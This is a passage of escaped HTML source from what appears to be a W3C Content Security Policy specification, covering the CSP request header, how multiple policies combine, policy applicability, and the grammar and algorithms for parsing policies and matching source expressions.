inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.4\" id=\"csp-request-header\"><span class=\"secno\">3.4. </span><span class=\"content\">The <code>CSP</code> HTTP Request Header</span><a class=\"self-link\" href=\"#csp-request-header\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"csp\">CSP<a class=\"self-link\" href=\"#csp\"></a></dfn></code> header field indicates that a particular\n    request is subject to a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, and its value is defined by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>\"CSP:\" <a data-link-type=\"dfn\" href=\"#csp_header_value\">csp-header-value</a>\n\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"csp_header_value\">csp-header-value<a class=\"self-link\" href=\"#csp_header_value\"></a></dfn> = *WSP \"active\" *WSP\n</pre>\n     \n\n\n     <p>If the user agent is <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>\n    that includes directives whose value is a <a data-link-type=\"dfn\" href=\"#source-list\">source list</a>, then the user\n    agent MUST send a header field named <code>CSP</code> along with requests\n    for resources whose <a data-link-type=\"dfn\" href=\"#origin\">origin</a> <em>does not</em> match the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n    resource</a>’s origin. The value of this header MUST be <code>active</code>.</p>\n     \n\n\n     <p>The user agent MAY choose to send this header only if the request is for a\n    resource type which the active policy would effect. That is, given a policy\n    of <code>img-src example.com</code>, the user agent would send <code>CSP:\n    active</code> along with requests for images, but might choose not to send\n    the header with requests for script.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The central reason for including this header is that it hints to a\n    server that information about redirects might be leaked as a side-effect\n    of a page’s active policy. If this header is present, a server might decline\n    to redirect a logged-out user from <code>example.com</code> to\n    <code>accounts.example.com</code>, for example, as a malicious embedder\n    might otherwise be able to determine the user’s logged-in status.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.5\" id=\"enforcing-multiple-policies\"><span class=\"secno\">3.5. </span><span class=\"content\">Enforcing multiple policies.</span><a class=\"self-link\" href=\"#enforcing-multiple-policies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-53073245\"><a class=\"self-link\" href=\"#example-53073245\"></a>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> http://example.com/;\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> http://example.com/\n</pre>\n     \n\n\n     <p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n     \n\n\n     <p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.6\" id=\"which-policy-applies\"><span class=\"secno\">3.6. </span><span class=\"content\">Policy applicability</span><a class=\"self-link\" href=\"#which-policy-applies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>Policies are associated with an <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, and\n    <a data-link-type=\"dfn\" href=\"#enforce\">enforced</a> or <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n     \n\n    \n     <table>\n      \n      <thead>\n        \n       <tr>\n          \n        <th colspan=\"2\">Resource Type\n        \n          \n        <th>What <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> applies?\n        \n        \n       \n      \n      \n      \n      <tbody>\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"2\">Top-level Contexts\n        \n\n          \n        <td>HTML as a new, top-level browsing context\n        \n          \n        <td>The policy delivered with the resource\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a top-level document\n        \n          \n        <td>Policy delivered with the resource\n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"3\">Embedded Contexts\n        \n\n          \n        <td>\n            Any resource included via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n          \n        \n          \n        <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n            identifier</a> (or a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc\">srcdoc</a></code> frame).\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as an embedded document\n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>.\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          \n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n          \n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"7\">Subresources\n        \n\n          \n        <td>SVG, inlined via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/http://www.w3.org/TR/SVG2/struct.html#SVGElement\">svg</a></code>\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a resource document\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>HTML via XMLHttpRequest\n        \n          \n        <td>Policy of the context that performed the fetch\n        \n        \n       \n        \n       <tr>\n          \n        <td>Image via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>JavaScript via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>\n        \n          \n        <td>No policy; should be just as safe as JPG\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a WebFont\n        \n          \n        <td>No policy; should be just as safe as WOFF\n        \n        \n       \n      \n      \n    \n     </table>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"4\" id=\"syntax-and-algorithms\"><span class=\"secno\">4. </span><span class=\"content\">Syntax and Algorithms</span><a class=\"self-link\" href=\"#syntax-and-algorithms\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.1\" id=\"policy-syntax\"><span class=\"secno\">4.1. </span><span class=\"content\">Policy Syntax</span><a class=\"self-link\" href=\"#policy-syntax\"></a></h3>\n     \n\n\n     <p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a>\n    consists of a <a data-link-type=\"dfn\" href=\"#security-policy-directive-name\">directive name</a> and (optionally) a\n    <a data-link-type=\"dfn\" href=\"#security-policy-directive-value\">directive value</a>, defined by the following ABNF:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy_token\">policy-token<a class=\"self-link\" href=\"#policy_token\"></a></dfn>    = [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> *( \";\" [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> ] ) ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_token\">directive-token<a class=\"self-link\" href=\"#directive_token\"></a></dfn> = *WSP [ <a data-link-type=\"dfn\" href=\"#directive_name\">directive-name</a> [ WSP <a data-link-type=\"dfn\" href=\"#directive_value\">directive-value</a> ] ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_name\">directive-name<a class=\"self-link\" href=\"#directive_name\"></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_value\">directive-value<a class=\"self-link\" href=\"#directive_value\"></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"> )\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.1.1\" id=\"policy-parsing\"><span class=\"secno\">4.1.1. </span><span class=\"content\">Parsing Policies</span><a class=\"self-link\" href=\"#policy-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-the-policy\">parse the policy<a class=\"self-link\" href=\"#parse-the-policy\"></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of directives</var> be the empty set.\n       \n\n        \n       <li>For each non-empty token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          \n        <ol>\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace\">Skip whitespace</a>.\n         \n\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">Collect a sequence of characters</a> that are\n            not <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space characters</a>. The collected characters\n            are the <var>directive name</var>.\n         \n\n            \n         <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space character</a>).\n         \n\n            \n         <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.\n         \n\n            \n         <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.\n         \n\n            \n         <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.\n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>Return the <var>set of directives</var>.\n      \n      </ol>\n      \n    \n     </section>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.2\" id=\"source-list-syntax\"><span class=\"secno\">4.2. </span><span class=\"content\">Source List Syntax</span><a class=\"self-link\" href=\"#source-list-syntax\"></a></h3>\n     \n\n\n     <p>Many CSP directives use a value consisting of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-list\">source\n    list<a class=\"self-link\" href=\"#source-list\"></a></dfn>, defined in the ABNF grammar below.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-expression\">source expression<a class=\"self-link\" href=\"#source-expression\"></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URLs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_list\">source-list<a class=\"self-link\" href=\"#source_list\"></a></dfn>       = *WSP [ <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_expression\">source-expression<a class=\"self-link\" href=\"#source_expression\"></a></dfn> = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a> / <a data-link-type=\"dfn\" href=\"#keyword_source\">keyword-source</a> / <a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a> / <a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_source\">scheme-source<a class=\"self-link\" href=\"#scheme_source\"></a></dfn>     = <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \":\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_source\">host-source<a class=\"self-link\" href=\"#host_source\"></a></dfn>       = [ <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \"://\" ] <a data-link-type=\"dfn\" href=\"#host_part\">host-part</a> [ <a data-link-type=\"dfn\" href=\"#port_part\">port-part</a> ] [ <a data-link-type=\"dfn\" href=\"#path_part\">path-part</a> ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"keyword_source\">keyword-source<a class=\"self-link\" href=\"#keyword_source\"></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base64_value\">base64-value<a class=\"self-link\" href=\"#base64_value\"></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_value\">nonce-value<a class=\"self-link\" href=\"#nonce_value\"></a></dfn>       = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_value\">hash-value<a class=\"self-link\" href=\"#hash_value\"></a></dfn>        = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_source\">nonce-source<a class=\"self-link\" href=\"#nonce_source\"></a></dfn>      = \"'nonce-\" <a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_algo\">hash-algo<a class=\"self-link\" href=\"#hash_algo\"></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_source\">hash-source<a class=\"self-link\" href=\"#hash_source\"></a></dfn>       = \"'\" <a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a> \"-\" <a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_part\">scheme-part<a class=\"self-link\" href=\"#scheme_part\"></a></dfn>       = &lt;scheme production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_part\">host-part<a class=\"self-link\" href=\"#host_part\"></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> *( \".\" 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_char\">host-char<a class=\"self-link\" href=\"#host_char\"></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"path_part\">path-part<a class=\"self-link\" href=\"#path_part\"></a></dfn>         = &lt;path production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"port_part\">port-part<a class=\"self-link\" href=\"#port_part\"></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n     \n\n\n     <p>If the policy contains a <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    The generated value SHOULD be at least 128 bits long (before encoding),\n    and generated via a cryptographically secure random number generator.\n    This requirement ensures that the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Using a nonce to whitelist inline script or style is less secure than\n    not using a nonce, as nonces override the restrictions in the directive in\n    which they are present. An attacker who can gain access to the nonce can\n    execute whatever script they like, whenever they like. That said, nonces\n    provide a substantial improvement over <code>'unsafe-inline'</code> when\n    layering a content security policy on top of old code. When considering\n    <code>'unsafe-inline'</code>, authors are encouraged to consider nonces (or\n    hashes) instead.</p>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#host_char\">host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">NOTE: Though IP addresses do match the grammar above, only\n    <code>127.0.0.1</code> will actually match a URL when used in a source\n    expression (see <a href=\"#match-source-expression\">§4.2.2 Matching Source Expressions</a> for details). The security\n    properties of IP addresses are suspect, and authors ought to prefer\n    hostnames to IP addresses whenever possible.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.1\" id=\"source-list-parsing\"><span class=\"secno\">4.2.1. </span><span class=\"content\">Parsing Source Lists</span><a class=\"self-link\" href=\"#source-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-source-list\">parse a source list<a class=\"self-link\" href=\"#parse-a-source-list\"></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.\n       \n\n        \n       <li>If <var>source list</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a>\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.\n       \n\n        \n       <li>Let <var>set of source expressions</var> be the empty\n        set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.\n       \n\n        \n       <li>Return the <var>set of source expressions</var>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.2\" id=\"match-source-expression\"><span class=\"secno\">4.2.2. </span><span class=\"content\">Matching Source Expressions</span><a class=\"self-link\" href=\"#match-source-expression\"></a></h4>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-expression\">match a source expression<a class=\"self-link\" href=\"#match-a-source-expression\"></a></dfn> for\n      a <var>protected resource</var> if the following algorithm returns\n      <em>does match</em>:</p>\n      \n\n      \n      <ol>\n        \n       <li>\n          Let <var>url</var> be the result of processing the URL through the\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-parser\">URL parser</a>.\n        \n       \n\n        \n       <li>\n          If the source expression a consists of a single U+002A ASTERISK\n          character (<code>*</code>), and <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is not\n          one of <code>blob</code>, <code>data</code>, <code>filesystem</code>,\n          then return <em>does match</em>.\n        \n       \n\n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n              match</a> for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>, return <em>does match</em>.\n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does not match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#host_source\">host-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a> is <code>null</code>,\n              return <em>does not match</em>.\n            \n         \n            \n         <li>\n              Let <var>url-scheme</var>, <var>url-host</var>, and\n              <var>url-port</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a>, and\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a> of <var>url</var>’s origin, respectively.\n\n\n          <p class=\"note\" role=\"note\">Note: If <var>url</var> doesn’t specify a port, then its origin’s\n              port will be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url</var>’s\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>.</p>\n          \n            \n         \n            \n         <li>\n              Let <var>url-path-list</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-path\">path</a> of <var>url</var>.\n            \n         \n            \n         <li>\n              If the source expression has a <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>\n              that is not a case insensitive match for <var>url-scheme</var>,\n              then return <em>does not match</em>.\n            \n         \n            \n         <li>\n              If the source expression does <strong>not</strong> have a\n              scheme, return <em>does not match</em> if any of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  the scheme of the protected resource’s URL is a case\n                  insensitive match for <code>HTTP</code>, and\n                  <var>url-scheme</var> is <strong>not</strong> a case\n                  insensitive match for either <code>HTTP</code> or\n                  <code>HTTPS</code>\n                \n           \n                \n           <li>\n                  the scheme of the protected resource’s URL is\n                  <strong>not</strong> a case insensitive match for\n                  <code>HTTP</code>, and <var>url-scheme</var> is\n                  <strong>not</strong> a case insensitive match\n                  for the scheme of the protected resource’s URL.\n                \n           \n              \n          </ol>\n          \n            \n         \n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is an U+002A ASTERISK character\n              (<code>*</code>) and the remaining characters, including the\n              leading U+002E FULL STOP character (<code>.</code>), are not a\n              case insensitive match for the rightmost characters of\n              <var>url-host</var>, then return <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is <em>not</em> an U+002A ASTERISK\n              character (<code>*</code>) and <var>url-host</var> is not a\n              case insensitive match for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code>, then return <em>does not\n              match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression’s <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> matches\n              the <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">IPv4address</a></code> production from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>,\n              and is not <code>127.0.0.1</code>, or is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-ipv6\">IPv6 address</a>,\n              return <em>does not match</em>.\n\n\n          <p class=\"note\" role=\"note\">Note: A future version of this specification may allow literal\n              IPv6 and IPv4 addresses, depending on usage and demand. Given the\n              weak security properties of IP addresses in relation to named\n              hosts, however, authors are encouraged to prefer the latter\n              whenever possible.</p>\n          \n            \n         \n\n            \n         <li>\n              If the source expression does <strong>not</strong> contain\n              a <code>port-part</code> and <var>url-port</var> is not the\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url-scheme</var>, then return\n              <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression does contain a <code>port-part</code>,\n              then return <em>does not match</em> if both of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  contain an U+002A ASTERISK character (<code>*</code>)\n                \n           \n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  represent the same number as <var>url-port</var>\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              If the source expression contains a non-empty\n              <code><a data-link-type=\"dfn\" href=\"#path_part\">path-part</a></code>, and the URL is <em>not</em> the\n              result of a redirect, then:\n\n              \n          <ol>\n                \n           <li>\n                  Let <var>exact-match</var> be <code>true</code> if the final\n                  character of <var>path-part</var> is not the U+002F SOLIDUS\n                  character (<code>/</code>), and <code>false</code> otherwise.\n                \n           \n\n                \n           <li>\n                  Let <var>source-expression-path-list</var> be the result of\n                  splitting <var>path-part</var> on the U+002F SOLIDUS character\n                  (<code>/</code>).\n                \n           \n\n                \n           <li>\n                  If <var>source-expression-path-list</var>’s length is greater\n                  than <var>url-path-list</var>’s length, return <em>does not\n                  match</em>.\n                \n           \n\n                \n           <li>\n                  For each <var>entry</var> in\n                  <var>source-expression-path-list</var>:\n\n                  \n            <ol>\n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> <var>entry</var>.\n                    \n             \n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> the first item in\n                      <var>url-path-list</var>.\n                    \n             \n                    \n             <li>\n                      If <var>entry</var> is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                      match</a> for the first item in <var>url-path-list</var>,\n                      return <em>does not match</em>.\n                    \n             \n                    \n             <li>\n                      Pop the first item in <var>url-path-list</var> off the\n                      list.\n                    \n             \n                  \n            </ol>\n            \n                \n           \n\n                \n           <li>\n                  If <var>exact-match</var> is <code>true</code>, and\n                  <var>url-path-list</var> is not empty, return <em>does not\n                  match</em>.\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          If the source expression is a case insensitive match for\n          <code>'self'</code> (including the quotation marks), then:\n\n          \n        <ol>\n            \n         <li>\n              Return <em>does match</em> if <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the\n              origin of <var>url</var></a> matches\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the origin of <var>protected\n              resource</var>’s URL</a>.\n\n\n          <p 